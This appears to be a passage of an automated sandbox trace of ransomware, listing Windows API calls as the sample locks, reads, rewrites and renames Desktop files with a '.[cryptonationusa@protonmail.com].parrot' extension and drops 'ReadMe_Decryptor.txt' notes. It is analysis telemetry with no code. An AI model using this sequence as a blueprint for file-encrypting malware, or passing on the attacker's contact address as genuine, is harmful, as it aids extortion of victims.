HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60c798 | out: hHeap=0x5b0000) returned 1 [0032.313] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x63f) returned 0x5d33c8 [0032.313] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6105c0 | out: hHeap=0x5b0000) returned 1 [0032.313] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x95e) returned 0x5d4d18 [0032.313] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d33c8 | out: hHeap=0x5b0000) returned 1 [0032.313] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0d) returned 0x5d8fd0 [0032.313] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4d18 | out: hHeap=0x5b0000) returned 1 [0032.313] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1536) returned 0x5cce58 [0032.313] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8fd0 | out: hHeap=0x5b0000) returned 1 [0032.313] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1fbf) returned 0x5ce398 [0032.313] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cce58 | out: hHeap=0x5b0000) returned 1 [0032.313] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2f8d) returned 0x629218 [0032.313] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5ce398 | out: hHeap=0x5b0000) returned 1 [0032.313] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4742) returned 0x62c1b0 [0032.314] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x629218 | out: hHeap=0x5b0000) returned 1 [0032.314] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6ad1) returned 0x6452d8 [0032.314] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62c1b0 | out: hHeap=0x5b0000) returned 1 [0032.314] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa028) returned 0x629218 [0032.314] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6452d8 | out: hHeap=0x5b0000) returned 1 [0032.314] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xf02a) returned 0x6452d8 [0032.314] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x629218 | out: hHeap=0x5b0000) returned 1 [0032.316] WriteFile (in: hFile=0x23c, lpBuffer=0x6452e0*, nNumberOfBytesToWrite=0xcb48, lpNumberOfBytesWritten=0x18fa94, lpOverlapped=0x0 | out: lpBuffer=0x6452e0*, lpNumberOfBytesWritten=0x18fa94*=0xcb48, lpOverlapped=0x0) returned 1 [0032.316] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6452d8 | out: hHeap=0x5b0000) returned 1 [0032.317] UnlockFile (hFile=0x23c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xcb39, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0032.317] CloseHandle (hObject=0x23c) returned 1 [0032.318] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x60) returned 0x60b478 [0032.318] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xb0) returned 0x601838 [0032.318] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b478 | out: hHeap=0x5b0000) returned 1 [0032.318] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\mK57Q.odp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\mk57q.odp"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\mK57Q.odp.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\mk57q.odp.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0032.319] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x601838 | out: hHeap=0x5b0000) returned 1 [0032.319] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cbeb0 | out: hHeap=0x5b0000) returned 1 [0032.319] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x635298 | out: hHeap=0x5b0000) returned 1 [0032.319] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x50) returned 0x5eba80 [0032.319] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x60c5e8 [0032.319] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d49a0 [0032.319] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4960 [0032.319] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ReadMe_Decryptor.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18f888, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0032.320] GetFileType (hFile=0x23c) returned 0x1 [0032.320] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x5d4d18 [0032.330] lstrcmpW (lpString1="mubD-jfE31YCV-.mkv", lpString2="ReadMe_Decryptor.txt") returned -1 [0032.330] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\mubD-jfE31YCV-.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\mubd-jfe31ycv-.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0032.330] GetFileSize (in: hFile=0x23c, lpFileSizeHigh=0x18fb10 | out: lpFileSizeHigh=0x18fb10*=0x0) returned 0x27f7 [0032.330] LockFile (hFile=0x23c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x290f, nNumberOfBytesToLockHigh=0x0) returned 1 [0032.330] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0032.331] ReadFile (in: hFile=0x23c, lpBuffer=0x18faf0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fa94, lpOverlapped=0x0 | out: lpBuffer=0x18faf0*, lpNumberOfBytesRead=0x18fa94*=0x18, lpOverlapped=0x0) returned 1 [0032.331] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0032.331] ReadFile (in: hFile=0x23c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x27f7, lpNumberOfBytesRead=0x18fa94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18fa94*=0x27f7, lpOverlapped=0x0) returned 1 [0032.331] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d49a0 [0032.331] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d49a0 | out: hHeap=0x5b0000) returned 1 [0032.331] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0032.331] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606968 [0032.331] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0032.331] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x5d4d18 [0032.331] GetLastError () returned 0x0 [0032.331] SetLastError (dwErrCode=0x0) [0032.331] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0032.331] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x78) returned 0x5c2680 [0032.331] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606950 [0032.331] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x14) returned 0x5cb6c8 [0032.331] GetLastError () returned 0x0 [0032.331] SetLastError (dwErrCode=0x0) [0032.331] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb6c8 | out: hHeap=0x5b0000) returned 1 [0032.331] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0032.331] GetLastError () returned 0x0 [0032.331] SetLastError (dwErrCode=0x0) [0032.332] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0032.332] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0032.332] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x6069b0 [0032.332] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x5d8fd0 [0032.332] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1033) returned 0x5cce58 [0032.332] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2033) returned 0x5cde98 [0032.332] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cce58 | out: hHeap=0x5b0000) returned 1 [0032.332] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4033) returned 0x629218 [0032.332] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cde98 | out: hHeap=0x5b0000) returned 1 [0032.332] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x7) returned 0x5d49a0 [0032.332] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6069b0 | out: hHeap=0x5b0000) returned 1 [0032.332] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d49a0 | out: hHeap=0x5b0000) returned 1 [0032.332] GetLastError () returned 0x0 [0032.332] SetLastError (dwErrCode=0x0) [0032.332] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0032.333] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8fd0 | out: hHeap=0x5b0000) returned 1 [0032.333] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606950 | out: hHeap=0x5b0000) returned 1 [0032.333] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c2680 | out: hHeap=0x5b0000) returned 1 [0032.333] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0032.333] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606cd8 | out: hHeap=0x5b0000) returned 1 [0032.333] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4d18 | out: hHeap=0x5b0000) returned 1 [0032.333] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x100) returned 0x5d6de8 [0032.333] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x180) returned 0x5cbeb0 [0032.333] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d6de8 | out: hHeap=0x5b0000) returned 1 [0032.333] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0032.333] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d49a0 [0032.333] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4960 [0032.333] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d49a0 | out: hHeap=0x5b0000) returned 1 [0032.333] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d49a0 [0032.333] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0032.333] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0032.333] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d49a0 | out: hHeap=0x5b0000) returned 1 [0032.333] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d49a0 [0032.333] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0032.333] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606968 [0032.333] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d49a0 | out: hHeap=0x5b0000) returned 1 [0032.333] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606950 [0032.333] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0032.333] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x5cb6c8 [0032.333] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606950 | out: hHeap=0x5b0000) returned 1 [0032.333] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d448 [0032.333] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb6c8 | out: hHeap=0x5b0000) returned 1 [0032.333] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605358 [0032.333] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d448 | out: hHeap=0x5b0000) returned 1 [0032.333] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c75b8 [0032.333] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0032.333] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b478 [0032.333] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c75b8 | out: hHeap=0x5b0000) returned 1 [0032.333] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x601838 [0032.333] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b478 | out: hHeap=0x5b0000) returned 1 [0032.333] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x5d6de8 [0032.333] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x601838 | out: hHeap=0x5b0000) returned 1 [0032.333] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x606a50 [0032.334] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d6de8 | out: hHeap=0x5b0000) returned 1 [0032.334] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1da) returned 0x5d6de8 [0032.334] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606a50 | out: hHeap=0x5b0000) returned 1 [0032.334] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c7) returned 0x60c798 [0032.334] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d6de8 | out: hHeap=0x5b0000) returned 1 [0032.334] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x42a) returned 0x6105c0 [0032.334] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60c798 | out: hHeap=0x5b0000) returned 1 [0032.334] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x63f) returned 0x5d33c8 [0032.334] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6105c0 | out: hHeap=0x5b0000) returned 1 [0032.334] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x95e) returned 0x5d4d18 [0032.334] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d33c8 | out: hHeap=0x5b0000) returned 1 [0032.334] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0d) returned 0x5d8fd0 [0032.334] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4d18 | out: hHeap=0x5b0000) returned 1 [0032.334] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1536) returned 0x5cce58 [0032.334] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8fd0 | out: hHeap=0x5b0000) returned 1 [0032.334] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1fbf) returned 0x5ce398 [0032.334] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cce58 | out: hHeap=0x5b0000) returned 1 [0032.334] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2f8d) returned 0x62d258 [0032.334] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5ce398 | out: hHeap=0x5b0000) returned 1 [0032.334] WriteFile (in: hFile=0x23c, lpBuffer=0x62d260*, nNumberOfBytesToWrite=0x2918, lpNumberOfBytesWritten=0x18fa94, lpOverlapped=0x0 | out: lpBuffer=0x62d260*, lpNumberOfBytesWritten=0x18fa94*=0x2918, lpOverlapped=0x0) returned 1 [0032.334] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62d258 | out: hHeap=0x5b0000) returned 1 [0032.334] UnlockFile (hFile=0x23c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x290f, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0032.334] CloseHandle (hObject=0x23c) returned 1 [0032.335] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x5cc038 [0032.335] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd0) returned 0x5d7858 [0032.335] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cc038 | out: hHeap=0x5b0000) returned 1 [0032.335] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\mubD-jfE31YCV-.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\mubd-jfe31ycv-.mkv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\mubD-jfE31YCV-.mkv.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\mubd-jfe31ycv-.mkv.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0032.336] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d7858 | out: hHeap=0x5b0000) returned 1 [0032.336] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cbeb0 | out: hHeap=0x5b0000) returned 1 [0032.336] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x629218 | out: hHeap=0x5b0000) returned 1 [0032.336] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x50) returned 0x5eba80 [0032.336] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x60c5e8 [0032.336] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d49a0 [0032.336] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4960 [0032.337] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ReadMe_Decryptor.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18f888, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0032.337] GetFileType (hFile=0x23c) returned 0x1 [0032.337] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x5d4d18 [0032.456] lstrcmpW (lpString1="NOP7WMJp.odp", lpString2="ReadMe_Decryptor.txt") returned -1 [0032.456] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\NOP7WMJp.odp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\nop7wmjp.odp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0032.457] GetFileSize (in: hFile=0x23c, lpFileSizeHigh=0x18fb10 | out: lpFileSizeHigh=0x18fb10*=0x0) returned 0xe543 [0032.457] LockFile (hFile=0x23c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xe65b, nNumberOfBytesToLockHigh=0x0) returned 1 [0032.457] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0032.457] ReadFile (in: hFile=0x23c, lpBuffer=0x18faf0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fa94, lpOverlapped=0x0 | out: lpBuffer=0x18faf0*, lpNumberOfBytesRead=0x18fa94*=0x18, lpOverlapped=0x0) returned 1 [0032.457] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0032.457] ReadFile (in: hFile=0x23c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xe543, lpNumberOfBytesRead=0x18fa94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18fa94*=0xe543, lpOverlapped=0x0) returned 1 [0032.457] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d49a0 [0032.457] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d49a0 | out: hHeap=0x5b0000) returned 1 [0032.457] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0032.458] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606950 [0032.458] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0032.458] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x5d4d18 [0032.458] GetLastError () returned 0x0 [0032.458] SetLastError (dwErrCode=0x0) [0032.458] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0032.458] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x78) returned 0x5c2680 [0032.458] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606968 [0032.458] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x14) returned 0x5cb6c8 [0032.458] GetLastError () returned 0x0 [0032.458] SetLastError (dwErrCode=0x0) [0032.458] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb6c8 | out: hHeap=0x5b0000) returned 1 [0032.458] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0032.458] GetLastError () returned 0x0 [0032.458] SetLastError (dwErrCode=0x0) [0032.458] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0032.458] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0032.458] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x6069b0 [0032.458] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x5d8fd0 [0032.458] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1033) returned 0x5cce58 [0032.458] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2033) returned 0x5cde98 [0032.458] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cce58 | out: hHeap=0x5b0000) returned 1 [0032.458] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4033) returned 0x629218 [0032.458] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cde98 | out: hHeap=0x5b0000) returned 1 [0032.526] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8033) returned 0x62d258 [0032.527] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x629218 | out: hHeap=0x5b0000) returned 1 [0032.529] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10033) returned 0x635298 [0032.530] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62d258 | out: hHeap=0x5b0000) returned 1 [0032.531] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d49a0 [0032.531] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6069b0 | out: hHeap=0x5b0000) returned 1 [0032.531] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d49a0 | out: hHeap=0x5b0000) returned 1 [0032.531] GetLastError () returned 0x0 [0032.531] SetLastError (dwErrCode=0x0) [0032.531] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0032.531] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8fd0 | out: hHeap=0x5b0000) returned 1 [0032.531] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0032.531] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c2680 | out: hHeap=0x5b0000) returned 1 [0032.531] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606950 | out: hHeap=0x5b0000) returned 1 [0032.531] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606cd8 | out: hHeap=0x5b0000) returned 1 [0032.531] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4d18 | out: hHeap=0x5b0000) returned 1 [0032.531] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x100) returned 0x5d6de8 [0032.531] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x180) returned 0x5cbeb0 [0032.531] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d6de8 | out: hHeap=0x5b0000) returned 1 [0032.531] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0032.531] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d49a0 [0032.531] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4960 [0032.531] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d49a0 | out: hHeap=0x5b0000) returned 1 [0032.531] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d49a0 [0032.531] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0032.532] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0032.532] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d49a0 | out: hHeap=0x5b0000) returned 1 [0032.532] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d49a0 [0032.532] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0032.532] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606950 [0032.532] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d49a0 | out: hHeap=0x5b0000) returned 1 [0032.532] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606968 [0032.532] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606950 | out: hHeap=0x5b0000) returned 1 [0032.532] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x5cb6c8 [0032.532] HeapFree 